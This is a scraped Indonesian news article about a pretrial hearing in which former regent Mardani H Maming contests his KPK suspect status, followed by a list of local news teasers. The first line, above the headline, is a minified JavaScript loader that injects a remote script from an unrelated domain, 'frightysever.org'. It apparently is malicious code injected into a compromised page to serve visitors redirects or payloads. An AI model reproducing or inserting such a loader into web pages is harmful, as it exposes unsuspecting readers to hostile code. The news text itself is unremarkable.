(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sidang Praperadilan Mardani Maming, Saksi Ahli Pidana Jelaskan Proses Penetapan Status Tersangka


KANALKALIMANTAN.COM, JAKARTA – Sidang lanjutan gugatan praperadilan mantan Bupati Tanah Bumbu (Tanbu) Mardani H Maming kembali digelar dengan menghadirkan saksi ahli pidana dari tim Biro Hukum KPK di Pengadilan Negeri Jakarta Selatan, Jumat (22/7/2022).

Saksi Ahli Pidana dari Universitas Islam Indonesia (UII) Yogyakarta Muhammad Arif Setiawan menjelaskan, proses penanganan perkara dari penyelidikan hingga penyidikan.

Menurut Arif, untuk menemukan bukti tindak pidana adanya tersangka tentunya ditentukan setelah naik ke tingkat penyidikan sesuai dengan KUHAP.

“Sehingga, tersangka itu ada di tingkat penyidikan bukan di tingkat penyelidikan. Hanya saja dalam prosesnya penemuan bukti permulaannya bisa ditingkat penyelidikan hanya penentuan tersangkanya tetap di tingkat penyidikan,” kata Arif di Pengadilan Negeri Jakarta Selatan, Jumat (22/7/2022).

 

 

Baca juga: Rektorat Uniska ke Perpustakaan Palnam, Hadirkan Kang Abik Peringati Milad ke-41 Uniska

Dalam gugatan yang diajukan politikus PDI Perjuangan itu, terkait statusnya yang kini sudah ditetapkan tersangka oleh KPK. Dalam perkara ini, KPK sudah memasuki tahap penyidikan.

Lebih lanjut, kata Arif, bila penanganan suatu perkara ingin naik ke tingkat penyidikan. Bisa pula aparat penegak hukum misalnya penyidik dapat mengeluarkan surat perintah menetapkan pihak-pihak yang ditetapkan tersangka.

“Tetapi menurut ahli tidak harus demikian karena status itu bisa dilihat dari surat resmi yang dikeluarkan oleh penegak hukum,” ujar Arif

Sementara itu, Anggota Tim Biro Hukum KPK Iskandar meyakini, keterangan saksi ahli yang dihadirkan tentu mendukung bukti-bukti yang dimiliki KPK dalam gugatan praperadilan ini.

Apalagi, kata Iskandar, KPK sudah memiliki dua alat bukti yang tentunya dapat menetapkan Mardani H Maming sebagai tersangka.

“Perkaranya kami sudah memiliki dua alat bukti yang cukup untuk menetapkan tersangka sehingga kami yakin hakim akan mempertimbangkan apa yang kami dalilkan,” ucap Iskandar.

Apalagi, Iskandar menyebut bukti-bukti kuat yang dimiliki KPK salah satunya dari keterangan saksi-saksi yang sudah diperiksa penyidik KPK. Terkait adanya aliran uang yang dalihnya untuk bisnis, ternyata KPK memiliki bukti memang adanya aliran uang untuk Mardani H Maming.

Baca juga: Citilink Putar Balik ke Bandara Juanda Setelah Lepas Landas, Pilot Meninggal Dunia

“Tapi memang sengaja diberikan untuk kepentingan pemohon dan itu rangkaiannya yang akan kita berikan,” katanya.

Dalam sidang ini, KPK membawa sebanyak 100 dokumen untuk membuktikan bahwa KPK telah memiliki bukti permulaan cukup sebelum menetapkan Politikus PDI Perjuangan itu menjadi tersangka suap dan gratifikasi izin usaha pertambangan di Kabupaten Tanah Bumbu, Kalimantan Selatan.

“Tim Biro Hukum KPK membawa sekitar 100 dokumen termasuk KPK buktikan bahwa pasal – pasal yang disangkakan tetap konsisten pada dokumen administrasi penyidikan perkara,” kata Ali.

Adapun nomor perkara yang didaftarkan terkait gugatan perperadilan No55/pid.prap/2022/pn jkt.sel.

Isi petitum gugatan praperadilan Mardani H. Maming meminta agar majelis hakim mengabulkan terkait status tersangkanya tidak berdasar hukum dan dinyatakan tidak sah oleh KPK.

“Menyatakan penetapan pemohon sebagai tersangka yang dilakukan oleh termohon sebagaimana tertuang dalam Surat Perintah Penyidikan Nomor Sprin.Dik 61/DIK.00/01/06/2022 tertanggal 16 Juni 2022 adalah tidak sah dan tidak berdasar atas hukum dan oleh karenanya penetapan a quo tidak mempunyai kekuatan hukum mengikat,” isi petitum gugatan Maming. (Kanalkalimantan.com/Suara.com)

Editor: kk


Risa

Recent Posts

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

40 menit ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

3 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

5 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

6 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

6 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

19 jam ago

This website uses cookies.